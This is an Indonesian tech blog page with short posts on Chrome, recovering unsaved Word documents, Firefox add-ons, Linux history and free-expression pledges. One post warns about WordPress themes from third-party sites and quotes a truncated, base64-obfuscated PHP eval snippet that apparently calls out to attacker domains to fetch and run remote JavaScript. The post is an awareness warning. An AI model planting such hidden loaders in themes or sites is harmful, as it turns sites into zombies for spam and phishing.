Menkominfo berjanji akan menjaga kebebasan informasi, berekspresi dan berpendapat

Menkominfo yang baru terpilih, Tifatul Sembiring berjanji akan menjaga kebebasan informasi, berekspresi dan berpendapat.

Menteri Komunikasi dan Informatika (Menkominfo) yang baru, Tifatul Sembiring,  berjanji selama dia menjabat sebagai menteri, dirinya akan menjaga kebebasan informasi, berekspresi dan berpendapat. Continue reading

Bertanda , , ,

Google Chrome 223.11 (Offline Installer)

Google Chrome versi 4.0.223.11 telah hadir. Versi ini memperbaiki beberapa kelemahan seperti crash ketika menjalankan Feed Reader dan Google Calendar.

This release fixes a crash when running extensions like the Subscribe in Feed Reader sample.  It also fixes a problem in Google Calendar where overlapping calendar items were invisible because they were being displayed with 0 width.

Sumber: Google Chrome Releases Blog

Versi offline installer bisa diunduh sekarang.

Bertanda , ,

Restorasi dokumen Word yang belum di-save

Beberapa menit yang lalu, ketika Uki (adik ipar saya) sedang mengetik bahan skripsinya, listrik di rumah saya tiba-tiba mati (akibat istri malam-malam menghidupkan hair dryer 1000 Watt). Duh..

Akhirnya dokumen yang si Uki ketik hilang tak berjejak (karena dia rupanya lupa men-save dokumen itu). Biasanya Microsoft Word (software yang dia pakai untuk mengetik) memiliki fungsi auto recovery yang akan berjalan secara otomatis ketika aplikasi itu dibuka kembali, tetapi anehnya: fungsi auto recovery tidak bekerja. Setelah mencari-cari di berbagai folder di drive C: (tanpa tahu pasti apa yang dicari) dan akhirnya kesal, harapan toh masih ada pada Google!

Setelah browsing, saya menemukan tips di Google Answer dari dreamboat-ga di sini: http://answers.google.com/answers/threadview?id=485167.

Kesimpulan tipsnya seperti ini:
Gunakan fungsi search (pada drive C: atau drive lain yang merupakan tempat aplikasi Microsoft Word terinstal), dan ketikkan:

*.tmp,~*.*,*.asd

Pastikan bahwa windows explorer sudah diset untuk menampilkan hidden file. Kalau belum yakin, mari pastikan. Pada toolbar windows explorer klik Tools > Folder Options lalu pilih tab View. Pada bagian Hidden files and folders contreng (lebih tepatnya klik) Show hidden files and folders.

Kembali ke pencarian, jika proses pencarian sudah selesai, coba cari file dengan nama seperti:

AutoRecovery Save of Document1.asd

dreamboat-ga mengatakan untuk mencoba mengubah ekstensi *.asd ke *.doc dan kemudian dibuka langsung menggunakan Microsoft Word. Tapi dalam kasus saya itu tidak berhasil. Jika pada kasus Anda cara itu juga tidak berhasil, cara lainnya adalah dengan membuka langsung dari Word. Caranya:

  1. Dari Microsoft Word gunakan fungsi membuka dokumen (Open)
  2. Cari/browse file yang disebutkan tadi (yang ekstensinya *.asd itu) dari tempat di mana ia ditemukan (biasanya ada di folder berikut: C:\Documents and Settings\username\Application Data\Microsoft\Word).
  3. Untuk filetype gunakan “Recover Text from Any File (*.*)“.
  4. Nah, bagaimana hasilnya? Pada kasus saya sih berhasil tuh. Meskipun isi dokumen agak berantakan, tapi lumayan enggak perlu mengetik ulang, hehe…

Mudah-mudahan bisa membantu yang punya masalah serupa. :p

Bertanda

Google Official Browser

Tanggal 1 September 2008 kemarin Google akhirnya merilis sebuah browser yang diberi nama Chrome. Browser yang dijanjikan sebagai “paling cepat, stabil dan aman” dari semua browser-browser pendahulunya ini rupanya bagai gado-gado dari Mozilla Firefox dan Apple Safari. Gaya search bar dan sistem tab-nya mengingatkan kita akan Firefox 3, tapi fitur “inspect element” yang diberikan Chrome mengingatkan kita akan browser Safari dari Apple. Chrome sendiri memang menggunakan framework Webkit sebagai landasan pengembangannya (baca komik Goolge Chrome), makanya dia berperilaku sangat mirip dengan Apple Safari yang juga menggunakan framework yang sama. 

Untuk memberi sentuhan browser untuk para geek, Google Chrome menyediakan fitur informasi memory yang digunakan oleh browser. Coba ketik about:memory (gaya mozilla) pada search bar dan Anda akan menemukan informasi konsumsi memory browser pada halaman itu. Jika pada saat yang saya kita membuka browser lain (Firefox atau Safari misalnya), keterangan memory dari browser tersebut juga akan ditampilkan oleh Chrome. Fantastis!

Rupanya Google benar-benar tidak mau ketinggalan dalam hal membuat perkakas utama selancar web ini. Bukan tidak mungkin Google akan jadi primadona baru para peselancar web. Tapi karena tampilan antarmuka Chrome relatif jauh berbeda dengan Firefox, Internet Explorer, Opera atau Safari, perlu penyesuaian diri yang cukup untuk bisa memanfaatkan browser ini dengan baik. Filosofi antarmuka Chrome ini (seperti dijelaskan pada komik) adalah, biarkan pengguna berfokus pada isi halaman web, bukan pada browser.

Untuk mereka yang menggunakan plugins browser secara intensif, Chrome mungkin belum bisa membuat peralihan adaptasi plugin, karena toh masih dalam versi Beta. Tapi, silahkan coba sendiri, dan biarkan Anda putuskan: menggunakan Chrome dan tinggalkan browser lama, atau? Hehe.. Pokoknya happy browsing aja deh! :p

Google Chrome dapat diunduh di sini: http://tools.google.com/chrome/?hl=en-US

“About” dengan keterangan piranti lunak third-party

Simak juga animasi boks seperti ini ketika kita mengunduh sebuah gambar atau halaman.

Benar-benar menghibur :p

Bertanda ,

Mata-mata di dalam theme wordpress

Beberapa waktu ke belakang saya mencari dan mendownload banyak theme (template) untuk wordpress dari berbagai situs. Dengan tampilan yang menarik, siapa yang tak tergoda untuk memilikinya (atau sekadar menjadikannya inspirasi untuk mendesain CSS). Tapi suatu waktu saya menemukan sebuah artikel dari 5ThirtyOne yang mengatakan bahwa saat ini terdapat beberapa situs penyedia theme wordpress gratis yang menyisipkan kode-kode berbahaya di dalamnya. Ini terjadi di akhir tahun 2007 lalu, tapi mungkin ada yang belum tahu tentang itu, so, saya lanjut.

Derek Punsalan, si pemilik 5ThirtyOne, menyadari hal itu ketika dia sedang mencari di situs mana saja theme wordpress gratis buatannya di-host. Pada Do not download WordPress themes distributed by 3rd party sites, Derek memberikan salah satu contoh dari skrip/kode berbahaya itu:

@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\
LCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiw\
gJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICR\
SNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3I\
iOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMk\
QwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1Qj\
M5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRj\
EyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNT\
[...]

Derek mengatakan bahwa theme berisi kode itu Ia ambil dari WP Sphere, si situs terkutuk.

Menyimpulkan hasil temuan Derek dan Paul Carroll yang mengurai apa yang tersembunyi dalam kode tersebut, Gigaom.com, menulis:

The first part of the string offers a clue: It’s using a PHP function to decode the string of text, which is encoded as base64. If we pass this through a decoder, the string looks a lot more malicious:

wordprescodebad2.gif

The code establishes a connection from the WordPress server to several sites wpssr.com, wpsnc.com, and wpsnc2.com, and allows the site operator to download an arbitrary piece of Javascript. The sites are registered to an anonymous registrar in Vancouver, British Columbia.

Kode tersebut tampaknya menggunakan fungsi PHP untuk mendekode teks yang dienkode sebagai base64 (I don’t know what the hell that supposed to mean). Yang pasti, kode itu dicurigai bisa melakukan koneksi dari server wordpress ke beberapa situs seperti wpssr.com, wpsnc.com dan wpsnc2.com dan memungkinkan operator situs untuk mengunduh Javascript dari sana.

Akibat merugikan dari koneksi tersembunyi seperti itu menurut Paul Carroll cukup jelas. Karena kode tadi bisa melakukan pemantauan dari data-data pengunjung, kode semacam itu bisa digunakan pihak tertentu untuk mengirimkan spam atau melakukan phising, baik ke blog pengguna theme atau bahkan ke komputer pengunjung blog.

I think the potential for abuse of this script is huge. I see it as a covert channel to setup Word Press enabled sites as thin zombies. The code being sent back to the server and eval’d could be a mailing script for spam or phishing.

Beberapa langkah preventif agar tidak dimata-matai oleh kelompok-kelompok “hitam” macam itu, langkah terbaik adalah menggunakan theme dari situs yang memfasilitasi keterlibatan publik yang lebih luas dalam pengembangannya. Seperti http://themes.wordpress.net/ atau http://wordpress.org/extend/themes/ atu situs lain yang dikenal memiliki reputasi baik. Lebih bagus lagi kalau kita cukup penasaran untuk melihat-lihat kode sumber (source code)-nya terlebih dahulu.

Yah.. Siapa juga yang suka dimata-matain orang? Cape deh..

Bertanda ,

Beberapa add-ons Firefox favorit

Ketika berselancar alias browsing di internet menjadi “pekerjaan” setiap hari, saya butuh bantuan supaya browsing lebih enak dan nyaman. Ketika browsing, misalnya, saya sering mengunduh (download) halaman situs, gambar, mp3 atau dokumen-dokumen PDF. Karena koneksi internet yang saya pakai juga kadang lambat, saya butuh bantuan agar proses downloading halaman tidak memakan terlalu banyak bandwidth.

Karena saya browsing menggunakan Mozilla Firefox, saya diuntungkan dengan dukungan add-ons yang melimpah. Beberapa add-ons yang sering saya gunakan adalah:

  1. AdBlock Plus

    AdBlock Plus bisa sangat membantu bagi orang-orang seperti saya yang masih mengalami gangguan koneksi internet (lambat). AdBlock akan membantu “menutup” gambar atau file Flash (*.swf) yang dikategorikan sebagai iklan. Gambar/foto atau file Flash lain juga bisa kita blok secara permanen kalau kita anggap mengganggu. Dengan menggunakan AdBlock, saya jamin koneksi internet Anda akan semakin baik. Apalagi kalau terbiasa membuka beberapa halaman dan “tab” dalam satu window.

  2. Download Statusbar

    Pada Firefox, kalau kita men-save web atau file, secara sebuah halaman default akan muncul pop-up window yang menunjukkan progress bar dari file yang kita save. Bagi saya hal ini cukup mengganggu. Ya, jika tidak kita harapkan, pop-ups selalu mengganggu. Nah, biasanya saya selalu menonaktifkan “download window” itu. Tapi, celakanya, kalau file yang saya unduh ternyata tidak benar-benar ter-unduh, saya tidak bisa tahu karena tidak ada keterangannya.
    Nah, solusinya ada pada Download Statusbar. Si Statusbar ini akan menggantikan perilaku “download window” yang selalu muncul dengan cara pop-up menjadi sebuah toolbar di bagian bawah browser kita. Sementara kita browsing, kita bisa tetap memantau perkembangan file yang kita unduh tadi. Manis sekali. Tak ada lagi pop-up!

  3. PDF Download

    Yang ini lebih spesifik. Jika Statusbar memperlihatkan perkembangan download dari semua file yang kita save, add-on PDF Download akan memberikan pilihan setiap kali kita meng-klik link ke sebuah file PDF. Ada pilihan download, open, atau view as HTML. Nah, sekarang kita punya pilihan untuk mengunduh, membuka (secara online) atau melihat dokumen dalam bentuk HTML. Karena saya sering jengkel karena ketika secara tidak sengaja mengklik sebuah link ke file PDF dan browser “hang” karena menunggu me-load file PDF yang berukuran besar tadi, add-on ini membuat hidup menjadi lebih menyenangkan…

  4. Search Engines
    Selain add-ons, saya juga memanfaatkan fungsi built-in search engine yang ada dalam Firefox (itu tuh, yang ada di pojok kanan atas…). Selain Google, search engine yang sering saya gunakan adalah Wikipedia, del.icio.us dan kadang kamus Merriam-Webster.

Mudah-mudahan berguna…

Bertanda ,

Sejarah Linux

Tux

Di era Windows dimana kemudahan pengoperasian alias “user-friendly” menjadi kunci popularitas sistem operasi komputer, tak banyak orang-pada-umumnya yang mengetahui kehadiran Linux, sistem operasi yang dikembangkan Linus Torvalds, hacker asal Finlandia. Dan mungkin akan cukup sulit membuat orang percaya bahwa kedahsyatan Linux dalam kecepatan memproses kalkulasi telah membuatnya “dipercaya” untuk menjadi pendukung utama dalam pengembangan proyek komputer super yang akan melibatkan empat pusat komputerisasi super di Amerika Serikat. Keempat pusat komputer super itu nantinya akan dihubungkan secara paralel dan diharapkan dapat melakukan lebih dari 13 triliun kalkulasi per detik!

In August 2001, BBC reported that the US Government was planning to build what would be a mega computer, capable of performing over 13 trillion calculations per second (13.6 TeraFLOPS). The project, called Tera grid would consist of a connected network of 4 US supercomputing centers. The four labs that are collaborating to create the Teragrid are: National Center for Supercomputing Applications at the University of Illinois(NCSA), San Diego Supercomputer Center (SDSC) at the University of California Argonne National Laboratory in Chicago; California Institute of Technology in Pasadena. At each of these centers, there would be a supercomputer. In total, there would be more than 3000 processors running in parallel to create the Teragrid. The main technology behind this massive computer would be clustering: the technology of binding together many low performance/cost processors to create a single computing environment.

Dubbed as the Distributed Terascale Facility, the Teragrid will combine enough computing power to facilitate the solution of complex mathematical and simulation problems, ranging from Astronomy and Cancer Research to Weather Forecasting. Equipped with a 600 Terabyte storage space, the Teragrid would be so powerful that it would take a human working on a calculator 10 million years to do what the Teragrid can do in only 1 second. The amazing thing is that this massively parallel Mega Computer will be powered by Linux. Each of the 4 sites will operate a Linux cluster, and connected by means of a 40 Gigabit/sec dedicated optical network.

Dan berbeda dengan Bill Gates (penemu sistem operasi Windows) yang konon membeli DOS (Disk Operating System) seharga $50.000 dari seorang hacker asal Seattle untuk dijadikan “otak” pertama Windows, Linus Torvalds mengembangkan Linux dengan modal hobinya mengutak-atik Minix yang pertama kali dikembangkan Andrew S. Tanenbaum, dengan harapan dapat membuat sistem operasi komputer yang bisa secara bebas digunakan, dimodifikasi, dan didistribusikan.

Baca paparan menarik lainnya tentang sejarah Linux dalam artikel “History of Linux“, yang ditulis oleh Ragib Hasan.

Bertanda
Ikuti

Get every new post delivered to your Inbox.